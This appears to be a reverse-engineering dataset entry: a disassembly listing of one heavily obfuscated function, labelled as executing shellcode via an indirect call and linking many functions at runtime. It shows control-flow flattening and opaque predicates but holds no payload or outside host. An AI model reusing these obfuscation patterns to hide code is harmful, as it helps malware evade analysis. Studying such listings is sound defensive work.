Function at 0x401550
Capabilities:
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x858
lea rbp, [rsp + 0x80]
xor eax, eax
mov r10d, dword [0x00439970]
mov r11d, dword [0x00439974]
sub eax, 0x1a7de30b
sub eax, 1
add eax, 0x1a7de30b
mov esi, r10d
sub esi, 0xc95b24e4
add esi, eax
add esi, 0xc95b24e4
imul r10d, esi
and r10d, 1
cmp r10d, 0
sete bl
and bl, 1
mov byte [rbp + 0x1ee], bl
cmp r11d, 0xa
setl bl
and bl, 1
mov byte [rbp + 0x1ef], bl
mov dword [rbp + 0x1e8], 0x96615a09
mov dword [rbp + 0x1e4], r9d
mov qword [rbp + 0x1d8], r8
mov qword [rbp + 0x1d0], rdx
mov qword [rbp + 0x1c8], rcx
mov eax, dword [rbp + 0x1e8]
mov ecx, eax
sub ecx, 0x806e00a1
mov dword [rbp + 0x1c4], eax
je 0x41389c
jmp 0x401606
mov eax, dword [rbp + 0x1c4]
sub eax, 0x810f5baa
je 0x405e25
jmp 0x40161c
mov eax, dword [rbp + 0x1c4]
sub eax, 0x81d9affd
je 0x4065be
jmp 0x401632
mov eax, dword [rbp + 0x1c4]
sub eax, 0x83665ab5
je 0x408239
jmp 0x401648
mov eax, dword [rbp + 0x1c4]
sub eax, 0x87e298ae
je 0x4160a2
jmp 0x40165e
mov eax, dword [rbp + 0x1c4]
sub eax, 0x885389eb
je 0x41628f
jmp 0x401674
mov eax, dword [rbp + 0x1c4]
sub eax, 0x88ce4427
je 0x40d2f7
jmp 0x40168a
mov eax, dword [rbp + 0x1c4]
sub eax, 0x896f5814
je 0x407c11
jmp 0x4016a0
mov eax, dword [rbp + 0x1c4]
sub eax, 0x8c8f6b95
je 0x40aa73
jmp 0x4016b6
mov eax, dword [rbp + 0x1c4]
sub eax, 0x8d65e296
je 0x415fad
jmp 0x4016cc
mov eax, dword [rbp + 0x1c4]
sub eax, 0x8e4e90c7
je 0x4162ce
jmp 0x4016e2
mov eax, dword [rbp + 0x1c4]
sub eax, 0x8ee1343b
je 0x4051ba
jmp 0x4016f8
mov eax, dword [rbp + 0x1c4]
sub eax, 0x8f2e18d8
je 0x407046
jmp 0x40170e
mov eax, dword [rbp + 0x1c4]
sub eax, 0x90038592
je 0x40f77c
jmp 0x401724
mov eax, dword [rbp + 0x1c4]
sub eax, 0x901d06fc
je 0x40cfe1
jmp 0x40173a
mov eax, dword [rbp + 0x1c4]
sub eax, 0x91af31fb
je 0x40bad1
jmp 0x401750
mov eax, dword [rbp + 0x1c4]
sub eax, 0x929e3087
je 0x40b281
jmp 0x401766
mov eax, dword [rbp + 0x1c4]
sub eax, 0x92a12598
je 0x4138ba
jmp 0x40177c
mov eax, dword [rbp + 0x1c4]
sub eax, 0x93660bb5
je 0x413e19
jmp 0x401792
mov eax, dword [rbp + 0x1c4]
sub eax, 0x96615a09
je 0x402c79
jmp 0x4017a8
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9746707e
je 0x409d6d
jmp 0x4017be
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9a35fe08
je 0x4160b1
jmp 0x4017d4
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9a7ad1fc
je 0x413fbc
jmp 0x4017ea
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9ae7e2ca
je 0x403b7e
jmp 0x401800
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9b548615
je 0x41602c
jmp 0x401816
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9be4c919
je 0x414204
jmp 0x40182c
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9c9c5b18
je 0x406ecd
jmp 0x401842
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9d16bf63
je 0x416640
jmp 0x401858
mov eax, dword [rbp + 0x1c4]
sub eax, 0x9e8e3ce2
je 0x40b012
jmp 0x40186e
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa06f518d
je 0x4137d3
jmp 0x401884
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa31f5f20
je 0x404755
jmp 0x40189a
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa346a546
je 0x405a38
jmp 0x4018b0
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa3a2c101
je 0x413378
jmp 0x4018c6
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa3a51055
je 0x415bc2
jmp 0x4018dc
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa3e5c14c
je 0x41036b
jmp 0x4018f2
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa67c22d4
je 0x415854
jmp 0x401908
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa6a74dd9
je 0x410ba0
jmp 0x40191e
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa6ea53fe
je 0x40e011
jmp 0x401934
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa7698f0d
je 0x4045f4
jmp 0x40194a
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa7ddbc18
je 0x417b9e
jmp 0x401960
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa80387ea
je 0x415bb3
jmp 0x401976
mov eax, dword [rbp + 0x1c4]
sub eax, 0xa9680f60
je 0x4089ee
jmp 0x40198c
mov eax, dword [rbp + 0x1c4]
sub eax, 0xaa0fdf64
je 0x40b0f7
jmp 0x4019a2
mov eax, dword [rbp + 0x1c4]
sub eax, 0xaa206888
je 0x415fcb
jmp 0x4019b8
mov eax, dword [rbp + 0x1c4]
sub eax, 0xad178ced
je 0x413b51
jmp 0x4019ce
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb096da9b
je 0x41347f
jmp 0x4019e4
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb1ab07e3
je 0x413e0a
jmp 0x4019fa
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb1d80367
je 0x40e020
jmp 0x401a10
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb25c5a01
je 0x40fa06
jmp 0x401a26
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb2f0c637
je 0x40d544
jmp 0x401a3c
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb43fda69
je 0x40f562
jmp 0x401a52
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb479faae
je 0x41411a
jmp 0x401a68
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb5704039
je 0x40bdb0
jmp 0x401a7e
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb69854f0
je 0x406022
jmp 0x401a94
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb8cd91bb
je 0x417b8f
jmp 0x401aaa
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb9ad1717
je 0x40ddc2
jmp 0x401ac0
mov eax, dword [rbp + 0x1c4]
sub eax, 0xb9f1daba
je 0x40a754
jmp 0x401ad6
mov eax, dword [rbp + 0x1c4]
sub eax, 0xba877b01
je 0x404779
jmp 0x401aec
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbacb70a6
je 0x41307e
jmp 0x401b02
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbc148a9d
je 0x4071d4
jmp 0x401b18
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbc461f14
je 0x4118a7
jmp 0x401b2e
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbcb971ba
je 0x416084
jmp 0x401b44
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbe3572fe
je 0x4150de
jmp 0x401b5a
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbe47007c
je 0x40f4a5
jmp 0x401b70
mov eax, dword [rbp + 0x1c4]
sub eax, 0xbef119d4
je 0x4118b6
mov al, byte [rbp + 0x1ee]
mov cl, byte [rbp + 0x1ef]
mov dl, al
xor dl, 0xff
and dl, 1
mov r8b, 1
mov r9b, r8b
xor r9b, 1
mov r10b, al
and r10b, r9b
mov r11b, r8b
xor r11b, 1
and r11b, 0xff
and r9b, 1
or dl, r10b
or r11b, r9b
xor dl, r11b
mov r9b, cl
xor r9b, 0xff
and r9b, 1
mov r10b, r8b
xor r10b, 1
mov r11b, cl
and r11b, r10b
mov bl, r8b
xor bl, 1
and bl, 0xff
and r10b, 1
or r9b, r11b
or bl, r10b
xor r9b, bl
mov r10b, r8b
xor r10b, 1
and r10b, 1
mov r11b, r8b
xor r11b, 1
mov bl, r11b
and bl, 1
mov sil, r8b
xor sil, 1
and sil, 0xff
and r11b, 1
or r10b, bl
or sil, r11b
xor r10b, sil
mov r11b, dl
xor r11b, 0xff
mov bl, r8b
xor bl, 1
mov sil, r8b
xor sil, 1
or r11b, bl
or sil, 1
xor r11b, 0xff
and r11b, sil
xor al, 0xff
mov bl, r10b
xor bl, 0xff
mov sil, r8b
xor sil, 1
or al, bl
or sil, 1
xor al, 0xff
and al, sil
mov bl, r8b
xor bl, 1
mov sil, r9b
xor sil, bl
and sil, r9b
mov bl, r10b
xor bl, 0xff
mov dil, cl
xor dil, bl
and dil, cl
mov cl, r11b
and cl, al
xor r11b, al
or cl, r11b
mov al, sil
xor al, 0xff
mov r11b, dil
xor r11b, 0xff
mov bl, r8b
xor bl, 0
mov r14b, al
and r14b, 0
and sil, bl
mov r15b, r11b
and r15b, 0
and dil, bl
or r14b, sil
or r15b, dil
xor r14b, r15b
or al, r11b
xor al, 0xff
or bl, 0
and al, bl
or r14b, al
mov al, cl
xor al, 0xff
mov r11b, r14b
and r11b, al
xor r14b, 0xff
and cl, r14b
or r11b, cl
mov al, dl
and al, r9b
xor dl, r9b
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0
mov dl, r8b
xor dl, 0
and al, dl
mov r9b, r8b
xor r9b, 1
and r9b, 0
and dl, 1
or cl, al
or r9b, dl
xor cl, r9b
mov al, r8b
xor al, 1
mov dl, r10b
xor dl, 0xff
mov r9b, r8b
xor r9b, 1
mov bl, al
and bl, 0xff
mov sil, r9b
and sil, 1
mov dil, dl
and dil, 0xff
and r10b, r9b
or bl, sil
or dil, r10b
xor bl, dil
or al, dl
xor al, 0xff
or r9b, 1
and al, r9b
or bl, al
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov cl, r11b
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor r8b, 1
mov r9b, cl
and r9b, 0xff
and r11b, r8b
mov r10b, dl
and r10b, 0xff
and al, r8b
or r9b, r11b
or r10b, al
xor r9b, r10b
or cl, dl
xor cl, 0xff
or r8b, 1
and cl, r8b
or r9b, cl
test r9b, 1
mov r12d, 0xd178025a
mov r13d, 0x5bab6e25
cmovne r13d, r12d
mov dword [rbp + 0x1e8], r13d
jmp 0x417ccc
mov eax, 0x10
mov qword [rbp + 0x1b8], rax
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov rcx, qword [rbp + 0x1b8]
mov qword [rbp + 0x1b0], rax
mov rax, rcx
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov rcx, qword [rbp + 0x1b8]
mov qword [rbp + 0x1a8], rax
mov rax, rcx
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x1b8]
call fcn.00419160
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x1f0]
mov dword [rax], 0
mov rax, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1c8]
mov qword [rax], rcx
mov rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1d0]
mov qword [rdx], r8
mov r9d, dword [0x00439970]
mov r10d, dword [0x00439974]
mov r11d, r9d
sub r11d, 0x352b40c5
add r11d, 0x94dc6eca
add r11d, 0x352b40c5
add r11d, 0xebea4f3e
sub r11d, 1
sub r11d, 0xebea4f3e
sub r11d, 0xa0725296
sub r11d, 0x94dc6eca
add r11d, 0xa0725296
imul r9d, r11d
and r9d, 1
cmp r9d, 0
sete bl
cmp r10d, 0xa
setl sil
mov dil, bl
xor dil, 0xff
and dil, 1
mov r14b, 1
mov r15b, r14b
xor r15b, 1
mov r12b, bl
and r12b, r15b
mov r13b, r14b
xor r13b, 1
and r13b, 0xff
and r15b, 1
or dil, r12b
or r13b, r15b
xor dil, r13b
mov r15b, sil
xor r15b, 0xff
and r15b, 1
mov r12b, r14b
xor r12b, 1
mov r13b, sil
and r13b, r12b
mov r9b, r14b
xor r9b, 1
and r9b, 0xff
and r12b, 1
or r15b, r13b
or r9b, r12b
xor r15b, r9b
mov r9b, r14b
xor r9b, 1
and r9b, 1
mov r12b, r14b
xor r12b, 1
and r12b, 1
or r9b, r12b
mov r12b, r14b
xor r12b, 1
mov r13b, dil
xor r13b, r12b
and r13b, dil
mov r12b, r9b
xor r12b, 0xff
mov r10b, bl
xor r10b, r12b
and r10b, bl
mov bl, r14b
xor bl, 1
mov r12b, r15b
xor r12b, bl
and r12b, r15b
mov bl, r9b
xor bl, 0xff
mov r11b, sil
xor r11b, bl
and r11b, sil
mov bl, r13b
xor bl, 0xff
mov sil, r10b
xor sil, 0xff
mov al, r14b
xor al, 0
mov cl, bl
and cl, 0
and r13b, al
mov dl, sil
and dl, 0
and r10b, al
or cl, r13b
or dl, r10b
xor cl, dl
or bl, sil
xor bl, 0xff
or al, 0
and bl, al
or cl, bl
mov al, r12b
and al, r11b
xor r12b, r11b
or al, r12b
mov dl, cl
xor dl, 0xff
and dl, 1
mov r10b, r14b
xor r10b, 1
and cl, r10b
mov r11b, al
xor r11b, 0xff
and r11b, 0xff
and al, r10b
or dl, cl
or r11b, al
xor dl, r11b
mov al, dil
and al, r15b
xor dil, r15b
or al, dil
mov cl, al
xor cl, 0xff
and cl, 1
mov r10b, r14b
xor r10b, 1
and al, r10b
or cl, al
mov al, r9b
and al, 1
xor r9b, 1
or al, r9b
xor al, 0xff
mov r9b, cl
xor r9b, al
and r9b, cl
mov al, dl
xor al, 0xff
mov cl, r9b
xor cl, 0xff
xor r14b, 0
mov r10b, al
and r10b, 0
and dl, r14b
mov r11b, cl
and r11b, 0
and r9b, r14b
or r10b, dl
or r11b, r9b
xor r10b, r11b
or al, cl
xor al, 0xff
or r14b, 0
and al, r14b
or r10b, al
test r10b, 1
mov eax, 0xcf15f268
mov ecx, 0xc4907f8f
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
mov rax, qword [rbp + 0x200]
mov ecx, dword [rbp + 0x1e4]
mov dword [rax], ecx
mov edx, dword [0x00439970]
mov r8d, dword [0x00439974]
mov r9d, edx
add r9d, 0xa62c9f7
sub r9d, 0xf1d08b63
sub r9d, 0xa62c9f7
add r9d, 0x358a700f
sub r9d, 1
sub r9d, 0x358a700f
sub r9d, 0x78a36b4b
add r9d, 0xf1d08b63
add r9d, 0x78a36b4b
imul edx, r9d
and edx, 1
cmp edx, 0
sete r10b
cmp r8d, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
mov sil, r11b
xor sil, 0xff
mov dil, 1
mov r14b, dil
xor r14b, 0
or bl, sil
or r14b, 0
xor bl, 0xff
and bl, r14b
mov sil, r10b
xor sil, 0xff
and sil, 0
mov r14b, dil
xor r14b, 0
and r10b, r14b
mov r15b, r11b
xor r15b, 0xff
and r15b, 0
and r11b, r14b
or sil, r10b
or r15b, r11b
xor sil, r15b
mov r10b, bl
xor r10b, 0xff
mov r11b, sil
xor r11b, 0xff
xor dil, 1
mov r14b, r10b
and r14b, 0xff
and bl, dil
mov r15b, r11b
and r15b, 0xff
and sil, dil
or r14b, bl
or r15b, sil
xor r14b, r15b
or r10b, r11b
xor r10b, 0xff
or dil, 1
and r10b, dil
or r14b, r10b
test r14b, 1
mov edx, 0x5a4ba3c3
mov r8d, 0xd6fdc04f
cmovne r8d, edx
mov dword [rbp + 0x1e8], r8d
jmp 0x417ccc
mov eax, dword [rbp + 0x238]
cmp eax, 0
setne cl
and cl, 1
mov byte [rbp + 0x23e], cl
mov dword [rbp + 0x1e8], 0xba877b01
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
add r8d, 0x1470b1e1
add r8d, 0xf45f9745
sub r8d, 0x1470b1e1
sub eax, 1
add r8d, eax
add r8d, 0xc7b3a34b
sub r8d, 0xf45f9745
sub r8d, 0xc7b3a34b
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
mov bl, r10b
xor bl, 0xff
mov sil, 1
xor sil, 1
or r11b, bl
or sil, 1
xor r11b, 0xff
and r11b, sil
mov bl, r9b
xor bl, 0xff
mov sil, r10b
and sil, bl
xor r10b, 0xff
and r9b, r10b
or sil, r9b
mov r9b, r11b
and r9b, sil
xor r11b, sil
or r9b, r11b
test r9b, 1
mov eax, 0xcfee204f
mov ecx, 0xdc8316d
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 1
add eax, 0
mov r8d, ecx
sub r8d, 0xe1904ec4
add r8d, eax
add r8d, 0xe1904ec4
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
or r11b, dil
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, r11b
xor r14b, 0xff
mov r15b, bl
xor r15b, 0
mov r12b, bl
xor r12b, 1
or r14b, r15b
or r12b, 1
xor r14b, 0xff
and r14b, r12b
mov r15b, dil
xor r15b, 0xff
mov r12b, r9b
xor r12b, r15b
and r12b, r9b
mov r9b, bl
xor r9b, 0
mov r15b, sil
xor r15b, r9b
and r15b, sil
mov r9b, dil
xor r9b, 0xff
mov r13b, r10b
xor r13b, r9b
and r13b, r10b
mov r9b, r14b
and r9b, r12b
xor r14b, r12b
or r9b, r14b
mov r10b, r15b
and r10b, r13b
xor r15b, r13b
or r10b, r15b
mov r14b, r9b
xor r14b, 0xff
and r14b, 0
mov r15b, bl
xor r15b, 0
and r9b, r15b
mov r12b, r10b
xor r12b, 0xff
and r12b, 0
and r10b, r15b
or r14b, r9b
or r12b, r10b
xor r14b, r12b
mov r9b, r11b
xor r9b, 0xff
mov r10b, sil
xor r10b, 0xff
mov r15b, bl
xor r15b, 0
mov r12b, r9b
and r12b, 0
and r11b, r15b
mov r13b, r10b
and r13b, 0
and sil, r15b
or r12b, r11b
or r13b, sil
xor r12b, r13b
or r9b, r10b
xor r9b, 0xff
or r15b, 0
and r9b, r15b
or r12b, r9b
mov r9b, r12b
xor r9b, 0xff
and r9b, 0
mov r10b, bl
xor r10b, 0
and r12b, r10b
mov r11b, bl
xor r11b, 1
and r11b, 0
and r10b, 1
or r9b, r12b
or r11b, r10b
xor r9b, r11b
mov r10b, dil
and r10b, 0
xor dil, 0
or r10b, dil
xor r10b, 0xff
mov r11b, r9b
xor r11b, r10b
and r11b, r9b
mov r9b, r14b
xor r9b, 0xff
mov r10b, r11b
xor r10b, 0xff
xor bl, 0
mov sil, r9b
and sil, 0
and r14b, bl
mov dil, r10b
and dil, 0
and r11b, bl
or sil, r14b
or dil, r11b
xor sil, dil
or r9b, r10b
xor r9b, 0xff
or bl, 0
and r9b, bl
or sil, r9b
test sil, 1
mov eax, 0x20831b6e
mov ecx, 0x29937ceb
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, ecx
add r8d, 0xe3883608
sub r8d, 0xca5e50e
sub r8d, 0xe3883608
sub eax, 1
add r8d, eax
add r8d, 0xb6f3127f
add r8d, 0xca5e50e
sub r8d, 0xb6f3127f
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
mov bl, r10b
xor bl, 0xff
mov sil, 1
mov dil, sil
xor dil, 0
or r11b, bl
or dil, 0
xor r11b, 0xff
and r11b, dil
mov bl, r9b
xor bl, 0xff
mov dil, r10b
and dil, bl
xor r10b, 0xff
and r9b, r10b
or dil, r9b
mov r9b, r11b
xor r9b, 0xff
mov r10b, dil
xor r10b, 0xff
xor sil, 1
mov bl, r9b
and bl, 0xff
and r11b, sil
mov r14b, r10b
and r14b, 0xff
and dil, sil
or bl, r11b
or r14b, dil
xor bl, r14b
or r9b, r10b
xor r9b, 0xff
or sil, 1
and r9b, sil
or bl, r9b
test bl, 1
mov eax, 0xf8f601dd
mov ecx, 0xb096da9b
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, ecx
mov r9d, eax
sub r9d, 0x2d28acf5
add r8d, r9d
mov r9d, eax
sub r9d, r8d
sub eax, 1
add r9d, eax
add r9d, 0xe73838cd
sub r9d, 0x2d28acf5
sub r9d, 0xe73838cd
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 1
mov sil, 1
mov dil, sil
xor dil, 1
mov r14b, r10b
and r14b, dil
or bl, r14b
mov dil, r11b
xor dil, 0xff
and dil, 1
mov r14b, sil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
or dil, r15b
mov r14b, sil
xor r14b, 0
and r14b, 1
mov r15b, sil
xor r15b, 1
mov r12b, r15b
and r12b, 0
mov r13b, sil
xor r13b, 1
and r13b, 0xff
and r15b, 1
or r14b, r12b
or r13b, r15b
xor r14b, r13b
mov r15b, bl
xor r15b, 0xff
mov r12b, sil
xor r12b, 0
mov r13b, sil
xor r13b, 0
or r15b, r12b
or r13b, 0
xor r15b, 0xff
and r15b, r13b
mov r12b, r14b
xor r12b, 0xff
mov r13b, r10b
xor r13b, r12b
and r13b, r10b
mov r10b, sil
xor r10b, 0
mov r12b, dil
xor r12b, r10b
and r12b, dil
mov r10b, r14b
xor r10b, 0xff
mov al, r11b
xor al, r10b
and al, r11b
mov r10b, r15b
and r10b, r13b
xor r15b, r13b
or r10b, r15b
mov r11b, r12b
and r11b, al
xor r12b, al
or r11b, r12b
mov al, r10b
xor al, 0xff
and al, 1
mov r15b, sil
xor r15b, 1
and r10b, r15b
mov r12b, r11b
xor r12b, 0xff
and r12b, 0xff
and r11b, r15b
or al, r10b
or r12b, r11b
xor al, r12b
mov r10b, bl
xor r10b, 0xff
mov r11b, dil
xor r11b, 0xff
mov r15b, sil
xor r15b, 0
mov r12b, r10b
and r12b, 0
and bl, r15b
mov r13b, r11b
and r13b, 0
and dil, r15b
or r12b, bl
or r13b, dil
xor r12b, r13b
or r10b, r11b
xor r10b, 0xff
or r15b, 0
and r10b, r15b
or r12b, r10b
mov r10b, r12b
xor r10b, 0xff
and r10b, 1
mov r11b, sil
xor r11b, 1
and r12b, r11b
or r10b, r12b
mov r11b, r14b
and r11b, 0
xor r14b, 0
or r11b, r14b
xor r10b, 0xff
xor r11b, 0xff
xor sil, 0
or r10b, r11b
or sil, 0
xor r10b, 0xff
and r10b, sil
mov r11b, al
and r11b, r10b
xor al, r10b
or r11b, al
test r11b, 1
mov ecx, 0xb69854f0
mov edx, 0x2bcc540b
cmovne edx, ecx
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
sub eax, 0x55e47f60
mov r8d, ecx
sub r8d, eax
add r8d, 0x3690774c
sub r8d, 1
sub r8d, 0x3690774c
add r8d, 0xf7cf9dba
sub r8d, 0x55e47f60
sub r8d, 0xf7cf9dba
imul ecx, r8d
and ecx, 1
cmp ecx, 0
sete r9b
cmp edx, 0xa
setl r10b
mov r11b, r10b
xor r11b, 0xff
mov bl, r9b
xor bl, r11b
and bl, r9b
mov r11b, r9b
xor r11b, 0xff
and r11b, 0
mov sil, 1
xor sil, 0
and r9b, sil
mov dil, r10b
xor dil, 0xff
and dil, 0
and r10b, sil
or r11b, r9b
or dil, r10b
xor r11b, dil
mov r9b, bl
and r9b, r11b
xor bl, r11b
or r9b, bl
test r9b, 1
mov eax, 0x67d735cb
mov ecx, 0x33bd1da3
cmovne ecx, eax
mov dword [rbp + 0x1e8], ecx
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, ecx
mov r9d, eax
sub r9d, 0x5336fa13
add r8d, r9d
sub eax, r8d
sub eax, 0xd3700633
sub eax, 1
add eax, 0xd3700633
sub eax, 0x13fc80d1
sub eax, 0x5336fa13
add eax, 0x13fc80d1
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 0
mov sil, 1
mov dil, sil
xor dil, 0
mov r14b, r10b
and r14b, dil
mov r15b, sil
xor r15b, 1
and r15b, 0
and dil, 1
or bl, r14b
or r15b, dil
xor bl, r15b
mov dil, r11b
xor dil, 0xff
and dil, 1
mov r14b, sil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
mov r12b, sil
xor r12b, 1
and r12b, 0xff
and r14b, 1
or dil, r15b
or r12b, r14b
xor dil, r12b
mov r14b, sil
xor r14b, 1
and r14b, 1
mov r15b, sil
xor r15b, 1
and r15b, 1
or r14b, r15b
mov r15b, bl
xor r15b, 0xff
mov r12b, sil
xor r12b, 1
mov r13b, sil
xor r13b, 1
or r15b, r12b
or r13b, 1
xor r15b, 0xff
and r15b, r13b
mov r12b, r14b
xor r12b, 0xff
mov r13b, r10b
xor r13b, r12b
and r13b, r10b
mov r10b, sil
xor r10b, 1
mov r12b, dil
xor r12b, r10b
and r12b, dil
xor r11b, 0xff
mov r10b, r14b
xor r10b, 0xff
mov al, sil
xor al, 0
or r11b, r10b
or al, 0
xor r11b, 0xff
and r11b, al
mov al, r15b
xor al, 0xff
mov r10b, r13b
xor r10b, 0xff
mov cl, sil
xor cl, 0
mov dl, al
and dl, 0
and r15b, cl
mov r8b, r10b
and r8b, 0
and r13b, cl
or dl, r15b
or r8b, r13b
xor dl, r8b
or al, r10b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, r12b
xor al, 0xff
mov cl, r11b
xor cl, 0xff
mov r8b, sil
xor r8b, 0
mov r10b, al
and r10b, 0
and r12b, r8b
mov r15b, cl
and r15b, 0
and r11b, r8b
or r10b, r12b
or r15b, r11b
xor r10b, r15b
or al, cl
xor al, 0xff
or r8b, 0
and al, r8b
or r10b, al
mov al, dl
xor al, 0xff
and al, 0
mov cl, sil
xor cl, 0
and dl, cl
mov r8b, r10b
xor r8b, 0xff
and r8b, 0
and r10b, cl
or al, dl
or r8b, r10b
xor al, r8b
mov cl, bl
and cl, dil
xor bl, dil
or cl, bl
mov dl, cl
xor dl, 0xff
and dl, 1
mov r8b, sil
xor r8b, 1
and cl, r8b
or dl, cl
mov cl, sil
xor cl, 1
mov r8b, r14b
xor r8b, 0xff
mov r10b, sil
xor r10b, 1
mov r11b, cl
and r11b, 0xff
mov bl, r10b
and bl, 1
mov dil, r8b
and dil, 0xff
and r14b, r10b
or r11b, bl
or dil, r14b
xor r11b, dil
or cl, r8b
xor cl, 0xff
or r10b, 1
and cl, r10b
or r11b, cl
xor dl, 0xff
xor r11b, 0xff
xor sil, 1
or dl, r11b
or sil, 1
xor dl, 0xff
and dl, sil
mov cl, al
and cl, dl
xor al, dl
or cl, al
test cl, 1
mov r9d, 0x3bf82d5e
mov eax, 0x8d65e296
cmovne eax, r9d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, 0xb5f4bc22
mov r9d, ecx
sub r9d, r8d
add r9d, 0x72a6073
sub r9d, 1
sub r9d, 0x72a6073
sub eax, 0xb5f4bc22
add r9d, eax
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
mov sil, r11b
xor sil, 0xff
mov dil, 1
mov r14b, dil
xor r14b, 0
or bl, sil
or r14b, 0
xor bl, 0xff
and bl, r14b
mov sil, r10b
xor sil, 0xff
and sil, 0
xor dil, 0
and r10b, dil
mov r14b, r11b
xor r14b, 0xff
and r14b, 0
and r11b, dil
or sil, r10b
or r14b, r11b
xor sil, r14b
mov r10b, bl
and r10b, sil
xor bl, sil
or r10b, bl
test r10b, 1
